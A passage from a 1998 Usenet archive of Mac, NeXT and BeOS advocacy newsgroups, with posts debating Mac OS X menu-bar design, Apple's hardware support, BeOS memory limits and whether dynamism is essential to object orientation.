with a global menu bar. There's no affordance in the Mac menu bar under the
Platinum appearance. There is under Hi-Tech but not Gizmo. It is a learned
behavior just like the window widget's uses.
The above URL offers the suggestion of adding affordances to the menu bar
and menuing system. It may not be ideal as shown but it's worth
considering. Hence the argument that NeXT's menu items as buttons reduces
what needs to be learned. The NeXT-style makes better use of affordances
and the so-called muscle memory. That doesn't mean it's ideal because
novices might lose the menu palette amongst their windows. It's a trade
off. The menu bar is also less idea in large screen situation. There's a
lot of mouse travel on a 20" screen or even a 17" above 1024x786.
Why does any UI discussion in these groups degrade into
my-menu-system-is-better-than-your-menu-system? Isn't it pretty much set
into stone that Mac OS X will support both the floating palette version and
the Mac-alike menu bar version with tear off menus?
Let's move on. PLEASE.
>> > But anyway, a more flexible menu
>> > system would be a plus. So that anyone can configure it to their hearts
>> > content. If it means that I can have the menus the way I like them and
>> > you can have the menus the way you like them -- fine.
>>
>> Yes, but what are we getting? Are we getting the ability to do what's on
>> that page above? Or are we just getting the same old Mac UI?
>
>Complain to Apple. Start a petition.
See above.
>> > What I find curious is, that all of your suggested changes are
>> > incremental.
>>
>> Why is that curious?
>
>Because you seemed to start out far more radical.
There's room for both. Also, it's worthwhile protecting at least some of
the learned behavior from the Mac UI. As shown in these newsgroups, people
tend to be quite polarized when it comes to their favorite UI vs. an
alternative.
>> Indeed. Now ask yourself why Apple isn't exploring these things? Why are
>> we going to be stuck with a Mac UI that still has a lot of problems?
>
>Dunno. What do you think?
NIH? Costs? I'll vote for costs...the UI group was drastically reduced
last fall. However, so much R&D had been done that maybe they decided to
leverage some of that work which would include the Pink/Taligent stuff
(People, Places and Things) along with other things. They don't even
sponsor the ACM's SIGHCI conference any more. I didn't notice any Apple
stuff in the '98 proceeding either.
--Ed.
From: mcgrane@NOSPAMhome.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Distribution: world
Subject: Re: Apple heading to obscurity?
Message-ID: <mcgrane-2107981630190001@cc962257-a.vron1.nj.home.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net> <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net> <joe.ragosta-2107980816120001@0.0.0.0> <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net>
Date: Tue, 21 Jul 1998 20:29:58 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 13:29:58 PDT
Organization: @Home Network
In article <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-2107980816120001@0.0.0.0>, joe.ragosta@dol.net
> (Joe Ragosta) wrote:
> > 2. Third hand rumors in a mud-slinging book aren't generally considered
> > reliable sources, anyway.
> >
> > I'm still waiting for evidence that Sun offered less than the market
> > capitalization.
>
> Read the damn book. Its all in there. BTW, I find Carlton's book well
> researched, right on the money with inide things that I know about
> from other sources, and a fairly honest assessment of Apple's
> incredible incompetence over the years. Of course, since it is very
> critical of Apple, you WOULD consider it "mud slinging" (as you would
> anyone or anything even slightly critical of Apple).
I agree Carlton's book was overall a good and accurate insight into Apple
during its troubled years and treated the situation about as fairly as one
would expect considering the rampant high level ineptitude and
mismanagement. There was a handful of blatant technical innacuracies, but
then it isn't meant as a technical book. To cross check it with other
books detailing Apple from the inside (Insanely Great, and Amelio's book,
for example) it doesn't seem to lead the reader astray just to bash Apple.
And remember back in 1996 Apple was so incredibly screwed--that doesn't
just happen by itself.
--
...Paul McGrane
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 20:34:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p2u11$9g3$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0>
In article <joe.ragosta-2107980812360001@0.0.0.0>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> There are sometimes cut-off points. Until MacOS 8, Apple was fully
> supporting 13 year old machines. Mac OS 8.1 fully supports machines going
> back 8 years.
Apple's past practices are hardly relevant to anyone with a computer that's
just a few years old.
> Win95 isn't as wonderful as you're pointing out. At the time of its
> release, a lot of people were talking about scrapping year old machines to
> get Win95 to run well. Heck, even for Win98, there was a MS press release
> recently suggesting that if people want to run Win98 without trouble, they
> should get a new PC.
Still, Microsoft is better than Apple in this instance. You claim that people
needed a new PC to run Windows 95 well while Apple will require a new Mac to
run Mac OS X at all. BTW, in the context of Windows 98, a new PC is one that
is only a few years old. Not under 18 months old like Apple requires.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Tue, 21 Jul 1998 20:28:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p2tm5$94m$1@nnrp1.dejanews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <6p24r7$sfm$1@fir.prod.itd.earthlink.net> <joe.ragosta-2107981021270001@wil78.dol.net>
In article <joe.ragosta-2107981021270001@wil78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> The point is that it's the typical situation where no matter what Apple
> does, they're going to be criticized.
The problem with the MacOS is that you have to pick a huge amount of memory
for VM to anticipate all of your future memory needs or you have be prepared
to restart. That isn't a problem with BeOS because the swap size will grow.
It just won't shrink below a minimum size.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 13:47:19 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-177.phx.primenet.com
Message-ID: <not-2107981347200001@ip-26-177.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <bbeck-2107982114380001@ts03-096.dublin.indigo.ie>
NNTP-Posting-Date: 21 Jul 1998 20:45:18 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <bbeck-2107982114380001@ts03-096.dublin.indigo.ie>, "Brian
Beck" <bbeck@indigo.ie> wrote:
> my venerable LClll 20/2.0 gig has been supported by apple for years -6
> months ago they posted 7.5 to me for free and later fitted a new HD that I
> got cheap for IR£25 ($36). They've always been helpful etc.
That policy is no more. I know someone with a 6100 who was refused help by
Apple USA tech support several times, and told he would have to buy a
support policy or pay a fee to get tech support in the future.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 21 Jul 1998 20:22:14 GMT
Organization: Cygnus Solutions
Message-ID: <6p2t9m$t36$2@cronkite.cygnus.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net>
<6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
<mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
<andyba-ya02408000R2107981148110001@news>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: andyba@corp.webtv.net
In <andyba-ya02408000R2107981148110001@news> Andy Bates wrote:
> In article <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
> > No non-submenu invoking choices can (well should) be in the bar (root
> > menu) even though this would be good for organizational purposes.
>
> Ech, no. This is not a good UI idea. If it needs to be accessed quickly,
> make a button in the UI, or a command key shortcut.
>
Ok, then where does "Print" belong? it's not a "File" operation.. it's not
an "Edit" operation.. etc. Same with "Quit". Currently, the Mac puts them
under "File" as a default, not because they belong there. I'd rather see
something sensical.
NeXT did it right by having the root-menu allow direct actions (like "Print",
"Hide", and "Quit"). Perhaps putting the "Quit" in the application/finder
menu at the upper-right corner (where "Hide" currently lives) would work.
But that still leaves Print.
If you're going to have heirarchical menus, then you need to recognize that
some operations aren't going to fit into your hierarchies/catagories, and you
must have a root level hierarchy that accepts these operations. Otherwise,
your UI design is inconsistant.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 21:05:56 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ra0lj.7jn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se>
On Tue, 21 Jul 1998 18:10:04 +0200, Magnus Thoor <qwerty.x@algonet.se> wrote:
:I would hardly call it paranoia. Look at Apple's track record so far:
:
:Pink
:Taligent
:Copland
:Gershwin
:Rhapsody
:
:If that doesn't make you worried about OS X you must have nerves of
:steel.
Counterpoint: look at Tevanian's track record so far:
Mach
NeXTSTEP
EOF
OPENSTEP
WebObjects
MacOS 8
Rhapsody DR1/2
????
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Date: Tue, 21 Jul 1998 17:16:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Distribution: world
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2107981716260001@wil81.dol.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net> <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net> <joe.ragosta-2107980816120001@0.0.0.0> <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net> <mcgrane-2107981630190001@cc962257-a.vron1.nj.home.com>
> In article <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <joe.ragosta-2107980816120001@0.0.0.0>, joe.ragosta@dol.net
> > (Joe Ragosta) wrote:
>
> > > 2. Third hand rumors in a mud-slinging book aren't generally considered
> > > reliable sources, anyway.
> > >
> > > I'm still waiting for evidence that Sun offered less than the market
> > > capitalization.
> >
> > Read the damn book. Its all in there.
Why should I read the book? YOU asserted that Apple offered to sell the
company for less than the market capitalization.
I asked for evidence and YOU searched the book and couldn't find any
evidence to support your position.
If the evidence is there, please provide it. If not, please admit your
mistake. I'm not going to read the book just because you can't get your
facts right.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 21:19:18 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6p30km$6c8$1@news.spacelab.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <m3pvez5lfq.fsf@ws142.spray.fi>
Osma Ahvenlampi <oahvenla@bounce.mail> wrote:
[ ... ]
>"Charles W. Swiger" <chuck@codefab.com> writes:
>> I don't like software that comes with arbitrary limitations. It tends to be
>> indicative of sloppy design and lazy (in the negative sense) programmers.
>> Still, you are right that this limitation of the BeOS is very unlikely to
>> affect reasonable situations.
>
>The limitation isn't arbitrary.
Umph...that's semantics. The limitation isn't arbitrary in the sense that there
isn't a reason for what's happening, but it is arbitrary is the sense that a
different design would not suffer from the limitation.
> It's a matter of running out of address space in one of the system teams
> (processes), and the "limit" would be much higher on a machine with a larger
> address space (such as a P-II with all 36 bits of addressing in use).
True, yet it would be a much better design if the BeOS conserved address space by
growing thread stack space (say, by manipulating the page tables appropriately)
rather than giving them fixed size arenas.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 16:32:15 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721160135.19564C-100000@ux7.cso.uiuc.edu>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <andyba-ya02408000R2107981148110001@news>
On Tue, 21 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Anyway, another area that needs to be fixed is Open/Save dialogs and the
> > pervasive use of system modal dialogs all over.
>
> Already fixed in 8.5.
You mean soon to be fixed in Mac OS 8.5. It's still in beta ya know.
> > The menu system could be better. Having a menu bar that stretches across
> > the entire screen wastes space particularly on large screens where there
> > are far too few menu choices to fill up even a majority of the space.
>
> Well, one could argue that the larger the screen, the smaller the
> percentage of the screen that is wasted....
The smaller the percentage, but the larger the area.
> > See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> > might be better.
>
> Why not just have a partially-transparent menu bar where there are no
> menus? That would be a lot simpler (and a lot less cluttered) than your
> proposed solution.
That is certainly an interesting idea. A semi-trasparent bar would be
good, but doesn't address the sub-menu indicator issue (which I'll touch
further on below).
> > The Macintosh menu bar wastes space. Particularly on large screens, there
> > is space that cannot be used by anything else where there are no menu
> > choices and there is only blank menu space.
>
> Transparent or translucent menu bar where there are no menus.
>
> > No non-submenu invoking choices can (well should) be in the bar (root
> > menu) even though this would be good for organizational purposes.
>
> Ech, no. This is not a good UI idea. If it needs to be accessed quickly,
> make a button in the UI, or a command key shortcut.
Why is it a bad UI idea? I agree that it's bad in a menu bar situation
particularly where the menu bar has no indication of submenu invoking
choices, but in my proposal, it would be useful. NeXT did that. Things
like Quit (and Print I think) were in the root menu. That's better than
having it under File.
> > In my proposal, there are indicators of precisely which menu choices will
> > bring up submenus and which will perform some action. This way, the root
> > menu can have non-submenu invoking choices. The distinction betweent the
> > two is clear.
>
> But having non-submenu choices in the MENU bar is confusing and cluttered.
> Right now, people can run their mouse along the menu bar with the button
> held down to look at all the submenus. With your proposal, they'd run the
> mouse along, and WHOOPS! I just activated a button!
NO! That is _NOT_ what would happen!
A button in the Mac UI does not perform any action if it is downclicked
on, but the upclick occurs somewhere outside the button boudary.
Think of what happens in Macintosh submenus where there are choices that
you just run the mouse over. It does not select the first non-submenu
choice you hit. It keeps highlighting the appropriate one as you move
through the choices.
This behavior is the same in what I propose.
> Oh, and those submenu indicators look terrible.
Oh. I rather liked those. Do you have a suggestion for what might look
better? Remember the look should be consistent with both the orientations.
I could try reproducing the Mac indicators, but I suspect that would look
worse and take more space (which is significant in the horizontal
orientation).
Actually, one other thing that I will propose (and creat mockups of soon)
is that there be 4 orientations for the submenu indicators. I don't know
whether this would be a good idea. I can see a couple issues.
When a submenu cannot be displayed to the right of the selected
upper level choice, the Mac OS just displays it to the left. The
submenu indicator doesn't move to the left and point left if there is no
room for the submenu. You have a cascade of menus that open to the
right with arrows pointing to the right and suddenly you have a submenu on
the left with the arrow still on the right. I think this should change.
In my menu system proposal, the arrow should point up if the submenu
cannot be displayed below a horizontally oriented menu, and the arrow
should be on the left and point left if there is no room to display the
submenu on the right of a vertically stacked menu.
One issue I see though is that some submenus might fit to the right while
others might not. The user would see a series of right pointing arrows on
the right and a couple left pointing arrows on the left in such a
situation. Perhaps the default should be to put them all on the side where
there is room for all. I dunno. I'll play with it.
> The current Mac ones look better, and are unnecessary in the main
> menu bar.
I don't know about unnecessary, but in the Macintosh meny bar, they would
be superfluous since currently there are no non-submenu choices (excepting
the clock which isn't exactly a menu choice).
> > Both orientations of my proposal take less screen space than the common
> > menu bar.
>
> I agree that the option of Next-style menus would be good.
>
> > There are visual cues given for how the submenus can be torn off.
> >
> > The submenus can be torn off.
>
> Tearable menus have been available for the Mac for a while, with all the
> extra graphical widgets that your proposal uses.
They are not available in the stock Mac OS. The only time I tried one of
those utilities, it didn't work. Perhaps I need to try a different utility
for doing that.
> > Umm... it looks prettier. :)
>
> For someone who complains about fancy buttons and widgets in the Mac OS,
> I'd think you'd see that your proposal suffers from the same problems, but
> worse. Those neat gradients sure do make the menus difficult to look at.
Hum. On my machine (well, monitor), the gradients are very subtle. Perhaps
I need to make them subtler. I like the gradients. As you see near the
bottom of the page, the gradients were a lot worse originally.
I do not have a problem with fancy buttons or widgets. I have a problem
with gaudy, bulbous, cluttered, blatant widgets that add no functionality,
but are just gaudy, bulbous, clutterd, and blatant to be gaudy, bulbous,
cluttered, and blatant.
I may be alone, but I like the general look of my proposal (which isn't
terribly different to what's been proposed by others like John
Kheit before).
> > The improvements I have in mind are not necessarily the best. I do not
> > have a monopoly on good ideas (or bad ones either ;). I am just saying
> > that there are problems with many facets to the Mac OS that _could_ be
> > addressed. Apple seems to be addressing some of them with Mac OS 8.5 and
> > such, but there are a lot left that need to be better done before I think
> > they can say that they have the best UI in the world and be proud of it.
>
> I agree that many could be addressed, but I also agree that the Mac OS is
> still the best UI in the world.
So do I. I wouldn't be particularly proud of that distinction right now.
'The best in the world' and 'good' are not the same things.
> > Apple has largely sat on its hands while others expand and enhance their
> > UIs.
>
> But others have largely started off at a much lower level than the Mac OS,
> and have hence had more work to do just to catch up.
In some ways, they have caught up and surpassed. I want Apple to leapfrog
them again.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcjcap.13euhpl10sp44aN@dialup112-2-8.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6p1rdl$g7c$1@news.cs.tu-berlin.de>
Organization: pv
Date: Tue, 21 Jul 1998 21:36:00 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 23:36:00 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> lars.farm@ite.mh.se (Lars Farm) writes:
> >Remember that I asked you to describe the basic idea, the essential core
> >of OO. If what you describe isn't there then it is not OO.
>
> Wrong. Anything I don't describe is not *necessary* for OO. The fact
> that it is not necessary does not mean that it is forbidden. Please
> put away the straw-man.
You misunderstood. Perhaps I was unclear. English is not my native
language and I assume not yours either. I mean that the essential core
has to be there to be called OO. A minimal subset, if you like. I don't
ask for anything outside this core. Things you don't mention may or may
not be important or they may be forbidden or anything in between.
They're not mentioned, so we don't know and don't really care.
> >Your first reply didn't state your requirement very clearly. Anyway, I
> >missed it. One might interpret your clarification as:
>
> Nope, the requirements were actually very clear and happen to be
> minimal.
Ok. They were actually very clear and happened to be minimal and I
didn't get it anyway. My fault, not yours. Is that better?
> > Class can not/must not be considered for method matching.
>
> You said that, I didn't. I didn't say anything about method
> matching or class and the minimal definition I gave does not
> require saying anything about it. It's called an implementation
> detail.
Could you then please explain what your two sentences, quoted below,
actually mean. Because I obviously don't understand. As you know my view
is that type is an important and inescapable property of an object.
Inescapable because type is the set of ops(pre/post) + rep + impl. The
set of all possible objects with a certain type is a class and the class
is in my view therefore also inescapable (regardless of language
implementation). As far as I can see objects do have type and class, so
if my interpretation of your clarification is wrong then what does it
mean when you say...
>> It differs in that there is no reference to ADTs. More importanty,
>> there is no visible class as an intrinisc object property.
> > It suffices that an object can perform the operation, that
> > it can receive the message.
>
> Yes.
Good. I disagree, but finally we seems to communicate. It is not clear
how much I disagree though ;-) It depends on how you define and identify
'operation'. The way I see it, every operation in a program is
essentially unique since it is part of a type. So these operations are
distinct:
struct Application { void launch(); };
struct SCUDMissile { void launch(); };
Objects of both types are able to receive a launch message, but
drastically different things happen because they really are different
operations. They have different preconditions and they will have
different postconditions. This is caught in the concept of type and
therefore also by class. Whether one uses all this or not is a matter of
implementation, language and tradeoffs belonging there.
> >Let's just say that I disagree. I consider dynamism orthogonal to OO.
>
> 1. Dynamism is a by-product of a minimal definition of OO.
Is Lisp not a dynamic language? Was Lisp not dynamic way before the days
of OO? Before Simula even? Are there not non OO functional programming
dynamic languages? How then can it be a by-product of OO? It can't. It
is older than OO. It is separate from OO. It can be useful to OO (or
not:-), but I fail to see how it is derived from OO.
> 2. It is possible to restrict OO somewhat to remove the
> dynamic requirement.
> 3. The only way to get dynamism as an orthogonal feature is to
> use this restricted form of OO as the basic definition.
> 4. I prefer the unrestricted, minimal definition as the base-definition.
Ok.
> >Depending on your preferences and domain, it may or may not be a good
> >language property,
>
> No problem with the essence of this: in certain situations it is
> desirable to use a more restricted form of OO in order to gain
> other benefits.
>
> >but this is not specific to OO and not something that
> >distinguishes OO from other ways of organizing programs.
>
> You seem to be looking at *features* of a language and especially
> for the one feature that distinguishes OO from non OO with 100%
> certainty.
No. Then again, OO has meaning as ways to organize programs so I don't
see it as something important in itself and perhaps I'm sloppy with use
of terms from time to time (that's why I need static languages to let a
compiler set me straight;-).
> Sorry, no such animal.
Agreed.
> Anyway, you asked me for a
> minimum requirements for OO, not for one distinguishing feature.
Yes.
> >There are plenty of non-OO dynamic languages.
>
> Who said that dynamism is sufficient for OO? It is not even necessary.
> It is just that OO without dynamism is a restricted form of OO.
Good. I have no problem accepting that "ADT-OO" is more restricted than
OO with dynamism. Then it seems that our differences in opinion are in
how we value this restriction. I say it is mostly good and you that it
is mostly bad. Good.
> >Meyer has Garbage Collection as one requirement for OO (what does
> >Alan Kay say about GC?).
>
> Nothing specifically from Alan Kay here, but look at the article
> "Design Principles Behind Smalltalk" in the August 1981 issue of
> Byte.
I would if I could but I don't have easy access to that issue. Could you
please give the short version of what it says about GC?
> Note that this predates any of Bertrands rantings by quite
> a bit.
Ah yes, well... note that Lisp and for that matter Simula too predates
Smalltalk and both have GC.
> Interesting fallacy, yes. ;-) Do you really want me to dissect it?
Not really. It was meant as a joke.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 14:08:01 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2107981408010001@news>
